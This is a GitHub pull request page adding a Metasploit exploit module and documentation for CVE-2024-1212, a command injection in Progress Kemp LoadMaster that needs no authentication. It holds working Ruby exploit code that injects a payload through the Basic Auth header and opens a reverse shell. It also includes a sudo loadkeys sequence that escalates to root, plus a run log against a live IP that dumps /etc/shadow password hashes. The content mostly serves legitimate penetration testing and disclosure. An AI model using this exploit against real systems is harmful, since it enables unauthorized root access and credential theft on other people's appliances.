New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Progress LoadMaster unauthenticated command injection module CVE-2024-1212 #18972
Changes from 2 commits
e32d05e
1a8233d
409f0e4
c10bde9
a362440
02c3115
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,88 @@ | ||
## Vulnerable Application | ||
CVE-2024-1212: Progress Kemp LoadMaster Unauthenticated Command Injection | ||
|
||
For more details on the vulnerability: | ||
https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/ | ||
|
||
https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212 | ||
|
||
A trial VM which the exploit should work against out of the box can be downloaded from: | ||
https://sso.kemptechnologies.com/register/kemp/vlm | ||
|
||
The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth. | ||
https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw | ||
|
||
## Verification Steps | ||
With privesc: | ||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection` | ||
1. Do: `set RHOSTS <target loadmaster>` | ||
1. Do: `set RPORT <port loadmaster is running on>` | ||
1. Do: `set LHOST <your host IP>` | ||
1. Do: `run` | ||
1. You should get a root shell. | ||
|
||
Without privesc: | ||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection` | ||
1. Do: `set PRIVESC false` | ||
1. Do: `set RHOSTS <target loadmaster>` | ||
1. Do: `set RPORT <port loadmaster is running on>` | ||
1. Do: `set LHOST <your host IP>` | ||
1. Do: `run` | ||
1. You should get a shell as the "bal" user. | ||
|
||
## Options | ||
The only non-stanard option is PRIVESC. | ||
|
||
### PRIVESC | ||
|
||
This defaults to true. This enables or disables the use of an automatic privesc from the default "bal" user to root. | ||
|
||
## Scenarios | ||
|
||
### LoadMaster 7.2.59.0.22007 | ||
|
||
``` | ||
msf6 > use exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection | ||
[*] Using configured payload cmd/linux/https/x64/shell/reverse_tcp | ||
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RPORT 8443 | ||
RPORT => 8443 | ||
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RHOSTS 18.207.251.125 | ||
RHOSTS => 18.207.251.125 | ||
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set LHOST ****** | ||
LHOST => ****** | ||
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > exploit | ||
|
||
[*] Started reverse TCP handler on *****:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking if 18.207.251.125:8443 is vulnerable... | ||
[+] The target is vulnerable. | ||
[*] Sending payload... | ||
[*] Sending stage (38 bytes) to 18.207.251.125 | ||
[*] Sending stage (38 bytes) to 18.207.251.125 | ||
[*] Executing privilege escalation command... | ||
[-] Detected a session initiated too close to the first session. Terminating it. | ||
[*] 18.207.251.125 - Command shell session 2 closed. | ||
[*] Executing privilege escalation command... | ||
[*] Command shell session 2 opened (*****:4444 -> 18.207.251.125:12652) at 2024-03-18 18:34:50 +0000 | ||
|
||
[-] Invalid session identifier: 2 | ||
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > sessions -i 1 | ||
[*] Starting interaction with 1... | ||
|
||
[*] Command shell session 1 opened (*****:4444 -> 18.207.251.125:12648) at 2024-03-18 18:35:10 +0000 | ||
cat /.mnt/patch_name /etc/shadow | ||
7.2.59.0.22007.RELEASE | ||
root:*:11449:0:10000:::: | ||
bin:*:8902:0:10000:::: | ||
daemon:*:8902:0:10000:::: | ||
nobody:*:0:0:10000:::: | ||
sshd:*:0:0:10000:::: | ||
bal:$6$9WGRyJ3L$2NojfaoGsP5y7xS/SzvDTfic4Q9VHcKUHWnFKv9GWraldWgKQUc/t8kNQFPh7axajQQLX1GU29K46yiwkd3v.0:11564:0:10000:::: | ||
pwreset:vhQQ3AdHBais2:11564:0:10000:::: | ||
hsync:*:11564:0:10000:::: | ||
xroot:*:11449:1000:10000:::: | ||
``` |
Original file line number | Diff line number | Diff line change | ||
---|---|---|---|---|
@@ -0,0 +1,135 @@ | ||||
## | ||||
# This module requires Metasploit: https://metasploit.com/download | ||||
# Current source: https://github.com/rapid7/metasploit-framework | ||||
## | ||||
|
||||
class MetasploitModule < Msf::Exploit::Remote | ||||
Rank = ExcellentRanking | ||||
|
||||
include Msf::Exploit::Remote::HttpClient | ||||
prepend Msf::Exploit::Remote::AutoCheck | ||||
|
||||
def initialize(info = {}) | ||||
super( | ||||
update_info( | ||||
info, | ||||
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', | ||||
'Description' => %q{ | ||||
This module exploits an unauthenticated command injection vulnerability in | ||||
Progress Kemp LoadMaster in the authroization header. | ||||
}, | ||||
'Author' => [ | ||||
'Dave Yesland with Rhino Security Labs', | ||||
], | ||||
'License' => MSF_LICENSE, | ||||
'References' => [ | ||||
['CVE', '2024-1212'], | ||||
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'], | ||||
['URL', 'https://kemptechnologies.com/kemp-load-balancers'] | ||||
], | ||||
'DisclosureDate' => '2024-03-19', | ||||
'Notes' => { | ||||
'Stability' => [ CRASH_SAFE ], | ||||
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], | ||||
'Reliability' => [ REPEATABLE_SESSION ] | ||||
}, | ||||
'Platform' => ['unix', 'linux'], | ||||
'Arch' => [ARCH_X86, ARCH_X64], | ||||
'Targets' => [['Automatic', {}]], | ||||
'Privileged' => false, | ||||
'DefaultOptions' => { | ||||
'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp', | ||||
'SSL' => true, | ||||
'RPORT' => 443 | ||||
}, | ||||
'Payload' => { | ||||
'BadChars' => "\x3a\x27" | ||||
} | ||||
) | ||||
) | ||||
|
||||
register_options([ | ||||
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']), | ||||
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) | ||||
]) | ||||
|
||||
@first_session_timestamp = nil | ||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This will be
Suggested change
|
||||
end | ||||
|
||||
def exploit | ||||
uri = normalize_uri(target_uri.path, 'access', 'set') | ||||
|
||||
print_status('Sending payload...') | ||||
|
||||
send_request_cgi({ | ||||
'method' => 'GET', | ||||
'uri' => uri, | ||||
'vars_get' => | ||||
{ | ||||
'param' => 'enableapi', | ||||
'value' => '1' | ||||
}, | ||||
'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'), | ||||
'verify' => false | ||||
}) | ||||
end | ||||
|
||||
def on_new_session(session) | ||||
# Kill the session if it was initiated too close to the first session | ||||
# This command injection tends to execute twice, so we want to kill | ||||
# the second session. Probably a better way to do this but I don't know it. | ||||
super | ||||
current_time = Time.now.to_i | ||||
if @first_session_timestamp.nil? | ||||
@first_session_timestamp = current_time | ||||
elsif current_time - @first_session_timestamp < 5 | ||||
print_error('Detected a session initiated too close to the first session. Terminating it.') | ||||
session.kill | ||||
end | ||||
|
||||
# Run privesc commands if PRIVESC is set to true | ||||
if datastore['PRIVESC'] | ||||
execute_privesc_command(session) | ||||
else | ||||
print_status('Privilege escalation skipped.') | ||||
end | ||||
end | ||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. We should potentially look at doing this with a flag on the target. @bwatters-r7 may be able to provide more context here. |
||||
|
||||
def execute_privesc_command(session) | ||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is likely not going to work with a Meterpreter session, so let me get a target up and see if I can give you a more specific way it make it work on all payloads. |
||||
print_status('Executing privilege escalation command...') | ||||
session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys') | ||||
session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys') | ||||
session.shell_command('sudo /bin/loadkeys -c /bin/bash') | ||||
session.shell_command('cp /tmp/loadkeys /bin/loadkeys') | ||||
end | ||||
|
||||
def check | ||||
print_status("Checking if #{peer} is vulnerable...") | ||||
|
||||
uri = normalize_uri(target_uri.path, 'access', 'set') | ||||
|
||||
res = send_request_cgi({ | ||||
'method' => 'GET', | ||||
'uri' => uri, | ||||
'vars_get' => { | ||||
'param' => 'enableapi', | ||||
'value' => '1' | ||||
}, | ||||
'authorization' => basic_auth("'", 'anything'), | ||||
'verify' => false | ||||
}) | ||||
|
||||
# No response from server | ||||
unless res | ||||
return CheckCode::Unknown | ||||
end | ||||
|
||||
# Check for specific error pattern in headers or body to confirm vulnerability | ||||
if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching') | ||||
return CheckCode::Vulnerable | ||||
else | ||||
return CheckCode::Safe | ||||
end | ||||
end | ||||
|
||||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.